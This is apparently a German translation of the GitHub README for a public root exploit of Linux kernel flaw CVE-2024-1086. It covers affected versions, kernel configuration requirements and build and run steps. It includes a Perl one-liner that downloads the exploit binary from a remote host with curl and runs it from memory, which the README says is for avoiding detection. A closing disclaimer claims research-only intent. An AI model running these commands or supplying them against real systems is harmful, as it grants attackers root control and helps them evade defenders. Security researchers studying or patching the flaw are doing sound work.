
Lokaler Privilegieneskalations-Exploit für CVE-2024-1086, der auf Linux-Kernel v5.14–v6.6 abzielt, mit 99.4% Erfolgsrate auf KernelCTF. Beinhaltet Unterstützung für dateilose Ausführung für Penetrationstests.
Universeller lokaler Privilegieneskalations-Proof-of-Concept-Exploit für CVE-2024-1086, der auf den meisten Linux-Kerneln zwischen v5.14 und v6.6 funktioniert, einschließlich Debian, Ubuntu und KernelCTF. Die Erfolgsrate beträgt 99.4% in KernelCTF-Images.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Eine vollständige Analyse des Exploits – einschließlich Hintergrundinformationen und vieler nützlicher Diagramme – ist im Flipping Pages Blogbeitrag zu finden.
Der Exploit betrifft Versionen von (einschließlich) v5.14 bis (einschließlich) v6.6, mit Ausnahme der gepatchten Branches v5.15.149>, v6.1.76>, v6.6.15>. Der Patch für diese Versionen wurde im Februar 2024 veröffentlicht. Die zugrundeliegende Sicherheitslücke betrifft alle Versionen (ausgenommen gepatchte stabile Branches) von v3.15 bis v6.8-rc1.
Einschränkungen:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (einschließlich Ubuntu v6.5)CONFIG_USER_NS=y), dass diese User Namespaces unprivilegiert sind (sh-Befehl sysctl kernel.unprivileged_userns_clone = 1) und dass nf_tables aktiviert ist (kconfig CONFIG_NF_TABLES=y). Standardmäßig sind diese alle auf Debian, Ubuntu und KernelCTF aktiviert. Andere Distributionen wurden nicht getestet, könnten aber ebenfalls funktionieren. Zusätzlich wurde der Exploit nur auf x64/amd64 getestet.Die Standardwerte sollten auf Debian, Ubuntu und KernelCTF mit einer lokalen Shell sofort funktionieren. Bei nicht getesteten Konfigurationen/Distributionen stellen Sie bitte sicher, dass die kconfig-Werte mit dem Zielkernel übereinstimmen. Diese können in src/config.h angegeben werden. Wenn Sie den Exploit auf einem Rechner mit mehr als 32 GiB physischem Speicher ausführen, erhöhen Sie bitte CONFIG_PHYS_MEM.
Wenn Sie den Exploit über SSH (auf dem Testrechner) oder eine Reverse Shell ausführen, möchten Sie möglicherweise CONFIG_REDIRECT_LOG auf 1 setzen, um unnötige Netzwerkaktivität zu vermeiden.
Falls dies für Sie unpraktisch ist, gibt es eine kompilierte x64-Binärdatei mit der Standardkonfiguration.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binary: CVE-2024-1086/exploit
Das Ausführen des Exploits ist genauso trivial:
./exploit
Dateilose Ausführung wird ebenfalls unterstützt, für den Fall von Pentest-Situationen, in denen Erkennungen vermieden werden müssen. Allerdings muss Perl auf dem Ziel installiert sein:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Die Programme und Skripte („Programme“) in diesem Softwareverzeichnis/-ordner/-repository („Repository“) werden ausschließlich zu Bildungs-/Forschungszwecken veröffentlicht, entwickelt und verteilt. Ich („der Ersteller“) befürworte keine böswillige oder illegale Nutzung der Programme in diesem Repository, da die Absicht darin besteht, Forschung zu teilen und keine illegalen Aktivitäten damit durchzuführen. Ich bin rechtlich nicht verantwortlich für alles, was Sie mit den Programmen in diesem Repository tun.